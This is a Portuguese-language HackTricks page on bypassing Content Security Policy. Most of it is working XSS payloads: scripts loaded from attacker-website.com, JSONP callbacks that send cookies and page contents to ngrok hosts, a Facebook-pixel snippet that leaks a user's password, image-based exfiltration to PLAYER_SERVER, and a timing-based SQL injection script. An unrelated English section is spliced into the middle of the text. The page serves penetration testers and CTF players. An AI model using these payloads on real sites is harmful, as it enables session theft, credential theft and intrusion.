Português - Ht
HackTricks Training Twitter Linkedin Sponsor

Content Security Policy (CSP) Bypass

Bypass de Política de Segurança de Conteúdo (CSP)

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Percepções de Hacking Envolver-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real

Últimos Anúncios Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

O que é CSP

A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a proteger contra ataques como scripting entre sites (XSS). Funciona definindo e detalhando caminhos e fontes a partir dos quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como eval, setTimeout ou setInterval.

A implementação do CSP é realizada por meio de cabeçalhos de resposta ou incorporando elementos meta na página HTML. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.

  • Implementado via cabeçalho de resposta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

  • Implementado via meta tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Cabeçalhos

CSP pode ser aplicado ou monitorado usando estes cabeçalhos:

  • Content-Security-Policy: Aplica o CSP; o navegador bloqueia quaisquer violações.

  • Content-Security-Policy-Report-Only: Usado para monitoramento; relata violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.

Definindo Recursos

CSP restringe as origens para carregar conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de eval(). Um exemplo de política é:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Diretivas

  • script-src: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.

  • default-src: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.

  • child-src: Especifica recursos permitidos para workers da web e conteúdos de frames incorporados.

  • connect-src: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.

  • frame-src: Restringe URLs para frames.

  • frame-ancestors: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como <frame>, <iframe>, <object>, <embed> e <applet>.

  • img-src: Define fontes permitidas para imagens.

  • font-src: Especifica fontes válidas para fontes carregadas usando @font-face.

  • manifest-src: Define fontes permitidas de arquivos de manifesto de aplicativo.

  • media-src: Define fontes permitidas para carregar objetos de mídia.

  • object-src: Define fontes permitidas para elementos <object>, <embed> e <applet>.

  • base-uri: Especifica URLs permitidos para carregar usando elementos <base>.

  • form-action: Lista os pontos finais válidos para envios de formulários.

  • plugin-types: Restringe os tipos MIME que uma página pode invocar.

  • upgrade-insecure-requests: Instrui os navegadores a reescrever URLs HTTP para HTTPS.

  • sandbox: Aplica restrições semelhantes ao atributo sandbox de um <iframe>.

  • report-to: Especifica um grupo para o qual um relatório será enviado se a política for violada.

  • worker-src: Especifica fontes válidas para scripts de Worker, SharedWorker ou ServiceWorker.

  • prefetch-src: Especifica fontes válidas para recursos que serão buscados ou pré-buscados.

  • navigate-to: Restringe os URLs para os quais um documento pode navegar por qualquer meio (a, form, window.location, window.open, etc.)

Fontes

  • *: Permite todos os URLs, exceto aqueles com esquemas data:, blob:, filesystem:.

  • 'self': Permite o carregamento do mesmo domínio.

  • 'data': Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).

  • 'none': Bloqueia o carregamento de qualquer fonte.

  • 'unsafe-eval': Permite o uso de eval() e métodos similares, não recomendado por motivos de segurança.

  • 'unsafe-hashes': Habilita manipuladores de eventos inline específicos.

  • 'unsafe-inline': Permite o uso de recursos inline como <script> ou <style> inline, não recomendado por motivos de segurança.

  • 'nonce': Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).

  • Se você tiver a execução de JS limitada, é possível obter um nonce usado na página com doc.defaultView.top.document.querySelector("[nonce]") e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:

Carregar script reutilizando nonce

  • 'sha256-<hash>': Lista branca de scripts com um hash sha256 específico.

  • 'strict-dynamic': Permite carregar scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.

  • 'host': Especifica um host específico, como example.com.

  • https:: Restringe URLs para aquelas que usam HTTPS.

  • blob:: Permite que recursos sejam carregados a partir de URLs de Blob (por exemplo, URLs de Blob criadas via JavaScript).

  • filesystem:: Permite que recursos sejam carregados a partir do sistema de arquivos.

  • 'report-sample': Inclui uma amostra do código violador no relatório de violação (útil para depuração).

  • 'strict-origin': Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).

  • 'strict-origin-when-cross-origin': Envia URLs completos ao fazer solicitações de mesma origem, mas envia apenas a origem quando a solicitação é de origem cruzada.

  • 'unsafe-allow-redirects': Permite que recursos sejam carregados e redirecionem imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.

Regras CSP Inseguras

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

pageCSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Isso não está funcionando, para mais informações verifique isso.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Carga de trabalho funcional:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se você de alguma forma conseguir fazer com que um código JS permitido crie uma nova tag de script no DOM com seu código JS, porque um script permitido está criando isso, a nova tag de script será permitida a ser executada.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Carga de trabalho funcional:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src e default-src

Parece que isso não está mais funcionando

Content-Security-Policy: script-src 'self' ;

Cargas de trabalho em funcionamento:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Upload de Arquivo + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se você pode fazer upload de um arquivo JS, você pode contornar esse CSP:

Payload de trabalho:

"/>'><script src="/uploads/picture.png.js"></script>

No entanto, é altamente provável que o servidor esteja validando o arquivo enviado e só permitirá que você envie um tipo específico de arquivos.

Além disso, mesmo que você consiga enviar um código JS dentro de um arquivo usando uma extensão aceita pelo servidor (como: script.png), isso não será suficiente porque alguns servidores como o servidor apache selecionam o tipo MIME do arquivo com base na extensão e navegadores como o Chrome irão rejeitar a execução de código Javascript dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o Apache não reconhece a extensão .wave, portanto não a serve com um tipo MIME como audio/*.

A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir encontrar uma extensão interpretada erroneamente, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota (alguns exemplos de poliglotas aqui).

Ação de Formulário

Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais injetando uma ação de formulário (e talvez esperando que os gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um exemplo neste relatório. Além disso, observe que default-src não cobre ações de formulário.

Pontos de Extremidade de Terceiros + ('unsafe-eval')

Para alguns dos payloads a seguir, unsafe-eval nem sequer é necessário.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carregue uma versão vulnerável do angular e execute JS arbitrário:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads usando Angular + uma biblioteca com funções que retornam o objeto window (confira este post):

O post mostra que você poderia carregar todas as bibliotecas de cdn.cloudflare.com (ou de qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar quais funções de quais bibliotecas retornam o objeto window.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Bypassing Content Security Policy (CSP) using Angular XSS from a class name:

Bypassando a Política de Segurança de Conteúdo (CSP) usando XSS do Angular a partir de um nome de classe:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Explorando o código JS do Google reCAPTCHA

De acordo com este relatório de CTF você pode abusar do https://www.google.com/recaptcha/ dentro de um CSP para executar código JS arbitrário, burlando o CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Mais cargas úteis deste artigo:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Abusando de www.google.com para redirecionamento aberto

A seguinte URL redireciona para example.com (de aqui):

https://www.google.com/amp/s/example.com/

Endpoints de Terceiros + JSONP

É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é feito neste relatório.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Cenários como este em que script-src é definido como self e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os pontos finais JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contém endpoints JSONP prontos para uso para burlar CSP de diferentes sites.

A mesma vulnerabilidade ocorrerá se o endpoint confiável contiver um Redirecionamento Aberto porque se o endpoint inicial for confiável, os redirecionamentos também são confiáveis.

Abusos de Terceiros

Conforme descrito no seguinte post, existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:

EntidadeDomínio PermitidoCapacidades

Facebook

www.facebook.com, *.facebook.com

Exfil

Hotjar

*.hotjar.com, ask.hotjar.io

Exfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Exfil, Exec

Amazon AWS

*.amazonaws.com

Exfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Exfil, Exec

Salesforce Heroku

*.herokuapp.com

Exfil, Exec

Google Firebase

*.firebaseapp.com

Exfil, Exec

Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.

Por exemplo, se você encontrar o seguinte CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Bypassing Content Security Policy (CSP)

Introduction

Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it can be bypassed using various techniques.

Bypass Techniques

1. Unsafe Inline Scripts

By allowing inline scripts using 'unsafe-inline', an attacker can execute arbitrary code inline, bypassing the CSP protection.

2. Unsafe Eval

Enabling 'unsafe-eval' allows an attacker to execute dynamic code using functions like eval(), which can also bypass CSP restrictions.

3. Data Protocol

Using the data: protocol, an attacker can execute scripts by converting them to Base64 and embedding them within the HTML, bypassing CSP.

4. Meta Tag

By injecting a <meta> tag with an http-equiv attribute set to Content-Security-Policy, an attacker can override the existing CSP directives.

5. Script Gadgets

Using script gadgets like document.write() or setTimeout(), an attacker can dynamically create and execute scripts, bypassing CSP restrictions.

Conclusion

While Content Security Policy is a powerful security measure, it is essential to be aware of these bypass techniques to ensure robust protection against attacks.

Content-Security-Policy​: connect-src www.facebook.com;​

Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com Google Analytics/Google Tag Manager. Neste caso, siga estes passos gerais:

  1. Crie uma conta de desenvolvedor no Facebook aqui.

  2. Crie um novo aplicativo "Facebook Login" e selecione "Website".

  3. Vá para "Configurações -> Básico" e obtenha o seu "ID do Aplicativo".

  4. No site alvo de onde deseja exfiltrar dados, pode fazê-lo diretamente usando o gadget do Facebook SDK "fbq" através de um "customEvent" e a carga de dados.

  5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione a aplicação que criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events

  6. Selecione a aba "Eventos de Teste" para ver os eventos enviados pelo site "seu".

Em seguida, do lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para a conta de desenvolvedor do Facebook do atacante com o ID do aplicativo e emitir um evento personalizado como este:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Quanto aos outros sete domínios de terceiros especificados na tabela anterior, há muitas outras maneiras de abusar deles. Consulte o post do blog anterior para explicações adicionais sobre outros abusos de terceiros.

Bypass via RPO (Relative Path Overwrite)

Além da mencionada redireção para contornar restrições de caminho, há outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.

Por exemplo, se o CSP permitir o caminho https://example.com/scripts/react/, ele pode ser contornado da seguinte forma:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

O navegador acabará por carregar https://example.com/scripts/angular/angular.js.

Isso funciona porque, para o navegador, você está carregando um arquivo chamado ..%2fangular%2fangular.js localizado em https://example.com/scripts/react/, o que está em conformidade com CSP.

Assim, ele irá decodificá-lo, solicitando efetivamente https://example.com/scripts/react/../angular/angular.js, o que é equivalente a https://example.com/scripts/angular/angular.js.

Ao explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas.

A solução é não tratar %2f como / no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.

Exemplo Online: https://jsbin.com/werevijewa/edit?html,output

Execução de JS em Iframes

pageIframes in XSS, CSP and SOP

base-uri ausente

Se a diretiva base-uri estiver ausente, você pode abusar dela para realizar uma injeção de marcação pendente.

Além disso, se a página estiver carregando um script usando um caminho relativo (como <script src="/js/app.js">) usando um Nonce, você pode abusar da tag base para fazer com que ele carregue o script do seu próprio servidor alcançando um XSS. Se a página vulnerável for carregada com httpS, use um URL httpS na tag base.

<base href="https://www.attacker.com/">

Eventos do AngularJS

Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como uma alternativa. Dentro de um evento, o AngularJS fornece um objeto único $event, fazendo referência ao objeto de evento do navegador nativo. Este objeto $event pode ser explorado para contornar o CSP. Notavelmente, no Chrome, o objeto $event/event possui um atributo path, que contém uma matriz de objetos implicados na cadeia de execução do evento, com o objeto window posicionado invariavelmente no final. Esta estrutura é fundamental para táticas de escape de sandbox.

Ao direcionar esta matriz para o filtro orderBy, é possível iterar sobre ela, aproveitando o elemento terminal (o objeto window) para acionar uma função global como alert(). O trecho de código demonstrado abaixo esclarece este processo:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Este trecho destaca o uso da diretiva ng-focus para acionar o evento, empregando $event.path|orderBy para manipular o array path, e aproveitando o objeto window para executar a função alert(), revelando assim document.cookie.

Encontre outras formas de burlar o Angular em https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS e domínio na lista branca

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Uma política CSP que lista domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste repositório git.

Cargas de trabalho funcionais:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Outros pontos de execução arbitrária JSONP podem ser encontrados aqui (alguns deles foram excluídos ou corrigidos)

Bypass via Redirection

O que acontece quando CSP encontra uma redireção do lado do servidor? Se a redireção levar a uma origem diferente que não é permitida, ela ainda falhará.

No entanto, de acordo com a descrição em CSP spec 4.2.2.3. Paths and Redirects, se a redireção levar a um caminho diferente, ela pode burlar as restrições originais.

Aqui está um exemplo:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Se o CSP estiver definido como https://www.google.com/a/b/c/d, uma vez que o caminho é considerado, tanto os scripts /test quanto /a/test serão bloqueados pelo CSP.

No entanto, o http://localhost:5555/301 final será redirecionado no lado do servidor para https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Como se trata de um redirecionamento, o caminho não é considerado e o script pode ser carregado, contornando assim a restrição de caminho.

Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.

Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.

Bypass CSP com marcação pendente

Leia aqui como fazer.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que você pode executar qualquer script dentro do código (XSS pode executar código) e img-src * significa que você pode usar na página web qualquer imagem de qualquer recurso.

Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste caso, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a flag por meio de uma imagem):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

De: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Também é possível abusar dessa configuração para carregar código JavaScript inserido dentro de uma imagem. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você poderia criar uma imagem especial, carregá-la no Twitter e abusar do "unsafe-inline" para executar um código JS (como um XSS regular) que irá carregar a imagem, extrair o JS dela e executá-lo: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Com Service Workers

A função importScripts dos service workers não é limitada pelo CSP:

pageAbusing Service Workers

Injeção de Política

Pesquisa: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se um parâmetro enviado por você está sendo colado dentro da declaração da política, então você poderia alterar a política de alguma forma que a torne inútil. Você poderia permitir script 'unsafe-inline' com qualquer um desses bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque esta diretiva irá sobrescrever diretivas script-src existentes. Você pode encontrar um exemplo aqui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

No Edge é muito mais simples. Se você adicionar no CSP apenas isso: ;_ o Edge irá descartar toda a política. Exemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Ataque de tempo

Observe a falta da diretiva 'unsafe-inline' Desta vez, você pode fazer a vítima carregar uma página sob seu controle via XSS com um <iframe>. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (CSRF). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder controlar o tempo que a página precisa para carregar, poderá extrair as informações necessárias.

Desta vez, uma bandeira será extraída, sempre que um caractere for corretamente adivinhado via SQLi, a resposta levará mais tempo devido à função de pausa. Em seguida, você poderá extrair a bandeira:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Este ataque implicaria alguma engenharia social onde o atacante convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador. Este bookmarklet conteria código javascript malicioso que, quando arrastado ou clicado, seria executado no contexto da janela web atual, burlando o CSP e permitindo roubar informações sensíveis como cookies ou tokens.

Para mais informações verifique o relatório original aqui.

Bypass de CSP restringindo CSP

Neste writeup do CTF, o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via poluição de protótipo ou dom clobbering permitia abusar de um script diferente para carregar um script arbitrário.

Você pode restringir um CSP de um Iframe com o atributo csp:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

No writeup do CTF, foi possível através de injeção de HTML restringir ainda mais um CSP para que um script que impedia CSTI fosse desativado e, portanto, a vulnerabilidade se tornasse explorável. CSP pode ser tornada mais restritiva usando tags meta HTML e scripts inline podem ser desativados removendo a entrada permitindo seu nonce e habilitando scripts inline específicos via sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Exfiltração de JS com Content-Security-Policy-Report-Only

Se você conseguir fazer com que o servidor responda com o cabeçalho Content-Security-Policy-Report-Only com um valor controlado por você (talvez por causa de um CRLF), você poderia fazer com que ele aponte para o seu servidor e se você envolver o conteúdo JS que deseja exfiltrar com <script> e porque é altamente provável que unsafe-inline não seja permitido pelo CSP, isso irá disparar um erro de CSP e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de Content-Security-Policy-Report-Only.

Por exemplo, verifique este writeup de CTF.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Vazamento de Informações com CSP e Iframe

  • Um iframe é criado apontando para uma URL (vamos chamá-la de https://example.redirect.com) que é permitida pelo CSP.

  • Essa URL então redireciona para uma URL secreta (por exemplo, https://usersecret.example2.com) que não é permitida pelo CSP.

  • Ao escutar o evento securitypolicyviolation, é possível capturar a propriedade blockedURI. Essa propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.

É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a vazamentos potenciais de informações sensíveis devido ao comportamento indefinido.

Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na ajustagem do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar esse método:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Monitorando quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir os caracteres possíveis no subdomínio secreto, eventualmente descobrindo a URL completa.

Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.

Truque de aqui.

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Percepções de Hacking Interaja com conteúdo que mergulha na emoção e desafios do hacking

Notícias de Hacking em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Tecnologias Inseguras para Bypass CSP

Sobrecarga de buffer de resposta PHP

O PHP é conhecido por armazenar em buffer a resposta para 4096 bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo dados suficientes dentro dos avisos, a resposta será enviada antes do cabeçalho CSP, fazendo com que o cabeçalho seja ignorado. Assim, a técnica consiste basicamente em preencher o buffer de resposta com avisos para que o cabeçalho CSP não seja enviado.

Ideia de este writeup.

Reescrever Página de Erro

De este writeup parece que foi possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

